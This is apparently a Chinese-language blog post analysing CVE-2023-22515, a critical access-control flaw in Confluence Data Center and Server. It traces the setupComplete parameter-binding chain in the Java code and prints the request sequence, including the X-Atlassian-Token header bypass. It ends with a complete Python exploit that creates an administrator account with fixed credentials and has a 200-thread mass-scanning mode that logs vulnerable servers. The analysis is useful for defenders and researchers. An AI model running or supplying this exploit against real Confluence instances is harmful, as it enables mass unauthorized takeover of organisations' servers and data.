【漏洞分析】Confluence 数据中心和服务器中的严重漏洞 CVE-2023-22515

Confluence 数据中心和服务器中的严重漏洞 CVE-2023-22515

一、简述

Confluence 的开发者 Atlassian 已公告此漏洞,并将其归类为损坏的访问控制问题。他们强调需要立即采取行动,并建议用户升级到最新版本以保护他们的系统。Atlassian 将该漏洞的严重级别评定为 Critical CVSS 10。

受影响的版本:

8.0.0 - 8.0.4

8.1.0 - 8.1.4

8.2.0 - 8.2.3

8.3.0 - 8.3.2

8.4.0 - 8.4.2

8.5.0 - 8.5.1

8.0.0之前的版本不受此漏洞影响。

二、利用

(一)第一阶段 设置"设置过程尚未完成"

CVE-2023-22515是未经身份验证的访问控制漏洞,远程实施攻击。即使攻击者可以利用 CVE-2023-22515 建立未经授权的管理员帐户,并获得对 Confluence 实例的访问权限。攻击者还可以操纵 Confluence 服务器的设置来表明设置过程尚未完成,即伪装。

攻击者可以利用/setup/setupadministrator.action端点来设置新的管理员用户。该漏洞是通过针对未经身份验证的 /server-info.action 端点的进行利用的。

初始请求将发送到 server-info,并使用bootstrapStatusProvider.applicationConfig.setupComplete=false作为参数。当我们在没有身份验证的情况下访问 server-info.action 端点时,会返回一个带有"成功"状态消息的简单响应。

GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

"成功"响应确认服务器正在运行,并且不会直接通过此端点泄露详细信息。

分析com.atlassian.confluence.core.actions包中的**ServerInfoAction代码:

java 复制代码
package com.atlassian.confluence.core.actions;

import com.atlassian.annotations.security.XsrfProtectionExcluded;

import com.atlassian.confluence.core.ConfluenceActionSupport;

import com.atlassian.confluence.security.access.annotations.PublicAccess;

import com.atlassian.xwork.HttpMethod;

import com.atlassian.xwork.PermittedMethods;

public class ServerInfoAction extends ConfluenceActionSupport {

  @PermittedMethods({HttpMethod.ANY_METHOD})

  @XsrfProtectionExcluded

  @PublicAccess

  public String execute() throws Exception {

    return "success";

  }

}

ServerInfoAction 类扩展了ConfluenceActionSupport类,该类可能处理特定功能。在这个类中,有一个名为*execute()*的方法。它被设计为可以使用任何 HTTP 方法调用,不受 XSRF 保护,并且无需身份验证即可供公众访问。当调用execute方法时,一旦操作成功执行,它就会返回字符串"success"。

接下来,我们将检查位于com.atlassian.confluence.core的扩展类**ConfluenceActionSupport

java 复制代码
package com.atlassian.confluence.core;

public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {

  public BootstrapStatusProvider getBootstrapStatusProvider() {

    if (this.bootstrapStatusProvider == null)

      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();

    return this.bootstrapStatusProvider;

  }

在 Java 类ConfluenceActionSupport 中,我们看到一个名为getBootstrapStatusProvider 的方法返回一个对象bootstrapStatusProvider 。如果bootstrapStatusProvider 为 null,它将通过调用BootstrapStatusProviderImpl.getInstance()进行初始化,其中getInstance() 方法用于获取引导状态提供程序的实例。一旦对象bootstrapStatusProvider创建或已经存在,该方法就会返回它。

接下来,com.atlassian.confluence.impl.setup处的BootstrapStatusProviderImpl 类包含一个名为getApplicationConfig的公共方法,该方法返回 ApplicationConfiguration 对象。

java 复制代码
package com.atlassian.confluence.impl.setup;

public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {

  private static final Supplier instance = (Supplier)Suppliers.memoize(BootstrapStatusProviderImpl::initialiseBootstrapStatusProvider);

  public ApplicationConfiguration getApplicationConfig() {

    return this.delegate.getApplicationConfig();

  }
}

在getApplicationConfig 方法内部,该方法调用this.delegate.getApplicationConfig(); 使用委托,其中*getApplicationConfig()*委托在另一个称为委托的对象上获取应用程序配置的任务。

ApplicationConfiguration是一个接口,指定任何类都可以实现的多个方法。无论哪个类实现该接口,都将定义该方法的行为。

java 复制代码
public interface ApplicationConfiguration {

String getApplicationHome();

void setApplicationHome(String paramString) throws ConfigurationException;

boolean isApplicationHomeValid();

void setProperty(Object paramObject1, Object paramObject2);

  void setBuildNumber(String paramString);

  boolean isSetupComplete();

  void setSetupComplete(boolean paramBoolean);  //

  void setConfigurationPersister(ConfigurationPersister paramConfigurationPersister);

  void setConfigurationFileName(String paramString);

}

有一个名为setSetupComplete的方法,需要一个布尔类型的参数。

ApplicationConfig 类实现了ApplicationConfiguration 接口,我们确实找到了一个名为setSetupComplete的同步方法:

java 复制代码
package com.atlassian.config;

public class ApplicationConfig implements ApplicationConfiguration {

  public synchronized void setSetupComplete(boolean setupComplete) {
    this.setupComplete = setupComplete;
  }

}

setSetupComplete方法接受一个名为**setupComplete 的布尔参数,用于设置设置完成状态。

该类的setupComplete 变量被分配一个作为参数提供的值。该参数的目的是定义或更新Confluence应用程序的设置完成状态。当我们将 true 作为setupComplete 参数传递时,设置过程就完成了。当我们传递false时,表明设置过程不完整。

通过统一来自ConfluenceActionSupportBootstrapStatusProviderImplApplicationConfig 等类的组件,我们可以链接方法调用,包括我们迄今为止已经探索过的getBootstrapStatusProvider()getApplicationConfig()setSetupComplete() 。

  • ***getBootstrapStatusProvider():***调用该方法获取BootstrapStatusProvider的实例。
  • ***getApplicationConfig():****根据getBootstrapStatusProvider()*的结果调用此方法。它检索 ApplicationConfig 对象。该对象管理应用程序配置设置,包括 setupComplete 状态。
  • setSetupComplete( **)*:**最后,在 ApplicationConfig 对象上调用setSetupComplete() 。*此方法将 setupComplete 状态设置为 true 或 false,指示应用程序的设置过程。

通过链接方法调用,我们可以使用 getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)有效地将setupComplete值设置为 false;

Confluence 使用 XWork2 框架,该框架管理操作、拦截器和参数绑定等。在XWork2中,HTTP参数用于设置action类中的属性,框架根据命名约定自动将这些参数映射到setter方法。

因此,我们可以形成一个 HTTP 参数来启用一系列方法调用。

java 复制代码
bootstrapStatusProvider.applicationConfig.setupComplete=false

对 server-info.action 端点使用有效负载会将setupComplete 值调整为false,表示设置过程仍未完成。

(二)第二阶段,访问setupadministrator端点

更新setupComplete属性后,预期行为将允许我们访问 setup/setupadministrator.action 端点并创建管理员帐户。

但是,当我们向此端点发送 POST 请求时,我们会收到 403 Forbidden 响应状态代码和包含以下消息的响应正文:"无法处理您的请求,因为请求中不存在所需的安全令牌。" 您可能需要重新提交表单或重新加载页面。"

根据 Atlassian 在Confluence应用指南中启用 XSRF 保护:

*远程访问 Confluence 的脚本可能无法获取或返回安全令牌或维护与服务器的 HTTP 会话。要选择退出令牌检查,请在请求中包含以下 HTTP 标头:*X-Atlassian-Token: no-check

关于上述指南,包括HTTP 请求标头中的X-Atlassian-Token: no-check,我们触发相同的请求:

成功了!现在,我们已经获得了对端点的不受限制的访问权限,并收到"**配置系统管理员帐户 - Confluence"**页面的 200 状态。剩下的就是包含 POST 请求正文以及管理员帐户的必要参数。

(三)、利用新创建管理员账户登录

在最后一步中,我们继续向 /setup/finishsetup.action 端点发出另一个 POST 请求,从而有效退出设置向导。

以管理员身份登录Coldfx

三、POC

python 复制代码
import json
import fire
import requests
from rich import print

from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor

HEADERS = {
    "X-Atlassian-Token": "no-check",
    "User-Agent": "https://github.com/Chocapikk/CVE-2023-22515"
}

requests.packages.urllib3.disable_warnings()

class Confluence:
    def __init__(self, base_url, verbose=False, output_file=None):
        self.base_url = base_url
        self.verbose = verbose
        self.username = "pleasepatch"
        self.password = "Password2"
        self.output_file = output_file


    def send_request(self, method, url, auth=None, data=None):
        try:
            response = requests.request(method, url, headers=HEADERS, verify=False, timeout=3, auth=auth, data=data)
            return response.status_code, response.text
        except requests.exceptions.RequestException as e:
            if self.verbose:
                print(f"[[bold red]ERROR[/bold red]] Request error for {url}: {str(e)}")
            return None, None

    def check_authentication(self):
        """Check authentication and retrieve user details."""
        auth = (self.username, self.password)
        url = f"{self.base_url}/rest/api/user?username={self.username}"
        status, response = self.send_request("GET", url, auth=auth)
        
        if status == 200:
            try:
                user_info = json.loads(response.strip())
                formatted_user_info = json.dumps(user_info, indent=2)
                if self.verbose:
                    print(f"[bold green][*][bold white] Authenticated as \"{self.username}\" user\n")
                    print(f"[[bold yellow]INFO[/bold yellow]]  User Information: [white]{formatted_user_info}")
            except json.JSONDecodeError:
                return False
            
            return True
        else:
            if self.verbose:
                print(f"[bold red][-][/bold red] Authentication failed on REST API for {self.username}")
            
            return False

    def exploit(self):
        success_message = None

        if not self.trigger_vulnerability():
            error_message = f"[bold red][-][/bold red] Failed to trigger vulnerability for {self.base_url}"
        elif not self.create_admin_account():
            error_message = f"[bold red][-][/bold red] Failed to create a new administrator for {self.base_url}"
        elif self.check_authentication():
            success_message = f"[bold green][*][bold white] Successfully exploited {self.base_url} and logged in as admin!"
        else:
            error_message = f"[bold red][-][/bold red] Failed to authenticate with created admin account at {self.base_url}"

        if success_message:
            if not self.verbose:
                print(success_message)
            return success_message
        else:
            return error_message

    def trigger_vulnerability(self):
        status, _ = self.send_request("GET", f"{self.base_url}/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false")
        return status == 200

    def create_admin_account(self):
        data = {
            "username": self.username,
            "fullName": self.username,
            "email": f"{self.username}@localhost",
            "password": self.password,
            "confirm": self.password,
            "setup-next-button": "Next"
        }

        status, response = self.send_request("POST", f"{self.base_url}/setup/setupadministrator.action", data=data)

        if status == 200:
            if self.verbose:
                print(f"[[bold yellow]INFO[/bold yellow]] Username: {self.username}")
                print(f"[[bold yellow]INFO[/bold yellow]] Password: {self.password}")

            if "Setup Successful" in response:
                if self.verbose:
                    print("[bold green][*][bold white] Created new administrator successfully")
                self.save_to_output_file()

            elif "A user with this username already exists" in response:
                if self.verbose:
                    print("[bold yellow][!][bold white] Administrator with this username already exists")
                self.save_to_output_file()

            else:
                if self.verbose:
                    print(f"[bold red][-][/bold red] Failed to create a new administrator for {self.base_url}")

        return status == 200

    def save_to_output_file(self):
        if self.output_file:
            with open(self.output_file, 'a') as file:
                file.write(f"Vulnerable server: {self.base_url} | Username: {self.username} | Password: {self.password}\n")

class Exploit:
    """
    Exploit script for CVE-2023-22515 - Confluence Vulnerability.
    
    This script attempts to exploit the CVE-2023-22515 vulnerability in Confluence
    to gain unauthorized access.
    """
    def __init__(self):
        self.verbose = False  

    def normal(self, target, output_file=None):
        """
        Exploits the Confluence vulnerability using a single target URL.
        
        Args:
            target (str): The target URL to exploit.
            output_file (str, optional): File to save vulnerable servers.
        """
        self.verbose = True
        exploit_target(target, verbose=self.verbose, output_file=output_file)
    
    def mass(self, filename, output_file=None):
        """
        Exploits the Confluence vulnerability using a list of target URLs from a file.
        
        Args:
            filename (str): The name of the file containing a list of target URLs.
            output_file (str, optional): File to save vulnerable servers.
        """
        with open(filename, 'r') as file:
            targets = [line.strip() for line in file.readlines() if line.strip()]
        scan_targets(targets, verbose=self.verbose, output_file=output_file)
        
def scan_targets(targets, verbose=False, output_file=None):
    with alive_bar(len(targets), enrich_print=False) as bar:
        with ThreadPoolExecutor(max_workers=200) as executor:
            list(executor.map(lambda url: exploit_target(url, bar, verbose, output_file), targets))

def exploit_target(url, bar=None, verbose=False, output_file=None):
    Confluence(url, verbose=verbose, output_file=output_file).exploit()
    if bar:
        bar()
            
if __name__ == "__main__":
    fire.Fire(Exploit)
相关推荐
zzzzzz31021 小时前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
XIAOHEZIcode21 小时前
Linux系统鼠标偏移常见原因以及修复方案
linux·运维·游戏
用户0328472220702 天前
如何搭建本地yum源(上)
运维
Aphasia3113 天前
VPN 与内网穿透
安全
Mr_愚人派4 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
大树885 天前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠5 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
霸道流氓气质5 天前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
小宇宙Zz5 天前
Maven依赖冲突
java·服务器·maven
DaLi Yao5 天前
【无标题】
人工智能·安全